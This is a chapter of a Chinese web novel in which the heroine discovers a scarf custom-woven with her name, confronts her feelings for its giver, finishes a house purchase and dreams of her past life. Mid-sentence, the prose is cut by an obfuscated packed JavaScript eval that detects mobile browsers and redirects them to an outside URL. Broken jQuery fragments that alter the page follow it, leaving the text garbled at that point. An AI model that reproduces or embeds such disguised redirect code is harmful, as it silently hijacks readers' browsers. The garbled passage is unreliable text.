71. 第 71 章

作品:《九零真千金试图咸鱼

    罗巧容答应了的事办得很快,第二天就给她递消息,让她两天后拿着条子去房管所办,会给她现场办结。


    她了了一件大事,终于有空请室友们吃饭。


    这回她没往状元楼去,让土著卢小音选了一家藏在胡同里的地道京味馆子,请她们吃午饭。


    喝了点小酒后,几人都有些微醺,回到宿舍卢小音鼻尖红红,声音有些哽咽:“换别人我肯定会嫉妒,但你我是真不舍得嫉妒,你就替我好好学,回来以后给我讲讲,就当我也去过了。”


    “是啊,顺便多听听别人的英美文学课,哎,我做梦都想看看人家恢弘的图书馆。”钱悦也露出向往的表情。


    只有孔礼真保持清醒:“你俩指望夏,可太天真了!我估计啊,她现在只操心哪里好吃好玩,说不定还想去隔壁国家逛逛。”


    自从稳定兼职以后,不知是不是因为自己挣了钱自信了,还是单纯只是被环境感染,她现在除了一本正经劝学之外,也会开玩笑了。


    盛未夏笑着把她一搂:“还是室长了解我,课会上的,该做的作业也会做的,但废寝忘食是不可能的,别人的课也不会去听,有那空我大概会出去走走玩玩。”


    “那……”卢小音别别扭扭地问,“能不能帮我带一罐那边的擦脸油啊?我想送我妈。”


    “行啊,有啥要求没?”


    卢小音哗啦一下翻开桌上的杂志,指给她看自己想买的东西。


    孔礼真把她拉到一边,小声问:“夏,我想买个东西回给阿九,上次他送我的钢笔太……太贵重了,我心里不太踏实。”


    盛未夏笑道:“我建议不用,你是学生,哪能跟他比?最多啊,你送点家乡特产是个心意就可以了。”


    她不知道阿九的收入区间,但肯定不是普通上班族能想象的数字,实在不缺孔礼真费劲巴拉买的回礼。


    “瞧我,想岔了。”孔礼真笑。


    钱悦帮她检查行李:“我说,伦敦阴冷多雨,你是不是该带上帽子围巾和手套啊?”


    “你要不说,我真忘了!”盛未夏打开衣柜,翻找盛勇给她和张小春带的样品,抽出来的时候,喻时让她留下的那条围巾从里面掉下来。


    宿舍几人都知道这条围巾的来历,脸上都有些许揶揄之色。


    盛未夏没看到她们脸上的表情,拿着围巾有些迟疑,从手感上来说,这条明显比盛勇给她的那条要细腻温暖得多,喻时也说这条是新的,可只要一想到这是他给的,就有些……让人产生浮想。


    这时,门被叩响,离门最近的孔礼真拉开,露出马以舲的脸。


    “我来看看,你收拾得怎么样了?”


    马以舲大摇大摆进来,扬了扬手里的一幅绵羊皮女士手套塞给她,“喏,送你一副手套,知道吧?英国的lady标配就是冬天要有一幅贴合手部的精致手套。”她小声附耳,“这可是我翻了我妈柜子,找出来的好东西。”


    接着,她视线落到盛未夏手里的围巾上,惊呼道,“我去,你怎么有恒祥阁的围巾啊!这可是好东西!”


    听到好东西,卢小音凑过来:“怎么说?恒祥阁我倒是听家里老人说过,是以前江宁织造府在京城的手艺人后人谋生的铺子,都有百年历史了吧?”


    “说的没错!我妈有几件恒祥阁的东西,披肩儿旗袍什么的,你瞧他们家的拿手绝活……”马以舲翻开了围巾地步的唛条,视线落在上面的花纹时,一下子哑了声。


    “绝活是什么?”卢小音孜孜不倦地追问,看着那一小张金银丝织成的唛条下,像是有一个纹样复杂的文字,“这是什么字啊?”


    盛未夏只知道这条围巾花色跟喻时原先那条一模一样,以为是他后来又买的,没看出哪里不同,更没细致地去翻这些细节。


    她低头看去,只见翻开的标志下,的确像是有一个文字的图案。


    马以舲看着她,视线灼灼:“这是一个篆体字,你们谁看得懂篆体来看看。”


    “我练过篆体大字,我看看。”钱悦凑过来,咦了一声,“这不是夏天的夏嘛!”


    马以舲一副“可不是我说的啊”的表情,一字一句地说:“他们家的绝活,就是可以把客人指定的姓名或者包含特殊含义的文字,用织的方式做在围巾的角落里,这叫高级定制,全世界只此一件!”


    随即勾起盛未夏的下巴,表情风流地问,“我竟不知,你偷偷拥有了恒祥阁的定制围巾!他们家可是除了贵宾能加塞儿,普通客人得等半年才能拿到东西的。”


    “嚯!”卢小音发出惊叹,“这……”


    饶是看过很多类型电影,她有点不知道该如何归纳这件事——京大校草送她们室花一条寓意深刻的围巾?这是明晃晃的告白还是爱你在心口难开的卑微示爱?


    但是,京大校草在追她们室花,这一点没跑了!


    盛未夏拍开她的手,低着头掩去眼里的震动,把围巾塞回衣柜。


    她心里有些乱,又有些酸胀,但此刻这么多人,她一句话也说不出来。


    马以舲把围巾抢出来,又看了眼她之前挑出来的帽子围巾,摇摇头仔细叠好了放进她行李箱:“我送的手套这么漂亮,这条围巾才配嘛!你那套太孩子气了,不行不行!”


    马以舲一直待到晚上,混了一顿晚饭才心满意足离开,缠着盛未夏最后还是选了恒祥阁的围巾进去。


    但放进去时的心情,跟只是知道它可能价格不菲时,已经有了翻天覆地的变化。


    夜深了,宿舍里钱悦的漏音磁带耳机丝丝缕缕地逸出婉约的歌声,仿佛给她的心跳声做了伴奏。


    她伸手轻轻按在胸口,体会着有些快的心跳,和那虽然陌生,但渐渐清晰的情绪——大概是喜欢。


    重活这一世的时候,她没有预期过感情。


    喻时是计划之外的人,她从没有考虑过但真实发生的一次次交集,终究是让她陷了一只脚进去。


    他大概也是喜欢自己的。


    有了这个预设的前提后,那些有意安排的单独相处,状元楼吃饭,让她给戴围巾,又给她戴围巾,约她去滑雪,就有了别样的意味。


    可她很清楚,像喻时这样注定生活在别人仰视中的人,伴随着的,生活不止体面的那一面,步步为营的谋算才是真实的面目,太累了——而这,跟她想要的平静生活,南辕北辙。


    人的感情,怎么能这么不顾死活地把她推向目标的反面去啊?


    盛未夏转转反侧到下半夜,直到悲愤地想,瞧瞧,靠近男人就会打乱节奏,这世上哪有值得自己放弃睡眠的事?


    她强迫自己放空不去想,强迫自己睡着。


    第二天,她顶着淡淡的黑眼圈,去房管所办过户手续。


    帮她送现金过来的蒋鹏涛一见她就吓了一跳:“表妹,没睡好还是怎么了?”


    “没睡好,宿舍有老鼠。”


    是的,一只在她心里跑圈的老鼠。


    蒋鹏涛便给她出主意怎么灭鼠,盛未夏心虚地应着,等房虫子陪着卖家到场后,她让蒋鹏涛给剩下的余款,她一个人去排队。


    实在是,再聊下去,她可能胡诌也诌不出更多闹老鼠


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804434|154800||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的细节了。


    排到后,她将罗巧容给的条子递进去,忽然一晃神地想到,其实如果不是因为喻时,她也不会和罗巧容有这样的交集,更不可能开口请她帮忙吧?


    还未深想,办事员请她到旁边的窗口。


    房虫子还是第一次见这种现场条子催办的事,瞠目结舌地看着办事员填完后,拿着条子奔进里头,没多久,流程上该签的字和用的印便齐活了。


    卖家把钥匙交给她之后,这次的交易便以一种不可思议的速度结束了。


    盛未夏看着对方走出房管所大门,正要往反方向去,忽然想到什么跟上去:“张伯,麻烦您留步。”


    卖家停住脚步,回头看她:“怎么的?有啥忘了给你吗?”


    盛未夏笑了下:“没,都交接齐全了,我就是有个事想问问。”


    卖家做出洗耳恭听的样子。


    “您家老爷子,是不是……对易学有些研究?”


    他笑起来:“我爸就喜欢研究易经啊,梅花易数这些,不过从来不跟人算的,那天说的我也听着了,您就当听个乐吧,毕竟你们这好年华,说有红鸾运,那不妥妥都准嘛!”


    “这样。”盛未夏心里一落,后退了一步点点头,“谢谢您!”


    “客气,我看得出你买得急,以后有什么事随时找我。”


    说完,对方摆摆手离开。


    往回走的路上,她有些哭笑不得,自己困扰了一晚上,还想着从别人那里获得意见。


    这实在不像她。


    他纵然千般好,但为他花时间辗转反侧地思虑,就很不应该。


    想到这里,她脚步轻快了些,跟蒋鹏涛道别后,回了西久胡同,把飞机动身的时间告诉他,又将新房钥匙托给盛勇:“哥,等张叔医院选好以后,你让小春自己看住哪边方便。”


    “放心吧,我指定给他们安顿好!哥去机场送你。”


    “你不是要去粤省吗?不用送,你把换的英镑给我就行,东西不多就一个行李箱,我叫辆车就可以了。”


    但盛勇坚持要送,又说有事跟她商量,她推辞不过只好答应。


    出发前的晚上,盛未夏给锦中打了个例行电话,然后早早睡觉。


    或许是又一次出国,她忽然梦到了上辈子的事。


    那是顾青葳的婚礼的晚宴,她为了躲蒋秀荷喋喋不休的催婚,一个人拿了杯香槟转到了花园的背面。


    在那里,她又看到有人比她先占了最偏僻的角落,看身形像白天时被顾青葳告白又无情讽刺的喻时。


    他站在那片树影下抽烟,确切地说,是捻着一根烟,香烟袅袅地从他指缝里升起,好像手里拿着手机在通话,间歇地以鼻音发出嗯声。


    她转身去了花园另一处,挑了个角落坐下。


    但好巧不巧的,旁边正有人在八卦这个男人。


    “你跟喻家大房走得近,帮忙牵个线嘛,就算攀不上喻时,那喻昊也不错啊。”


    “别提喻昊了!就一浪荡子,对象能装一卡车,你舍得让姑娘跟这样的?”


    “……哦,那还是喻时吧,帮个忙嘛,你见过我家姑娘,个高漂亮还有学历,体面得很!”


    “不是我不帮,喏,刚刚已经有人去问过了,人家说有钟意的姑娘了。”


    拜托牵线的女人低低哎呀了一声:“我说呢,这个年纪也没见他谈过,那对象啥情况?”


    “这就不知道了。”


    她为了躲相亲,连夜买了机票回美国。


    自然也不知道,他那个中意的姑娘到底是谁。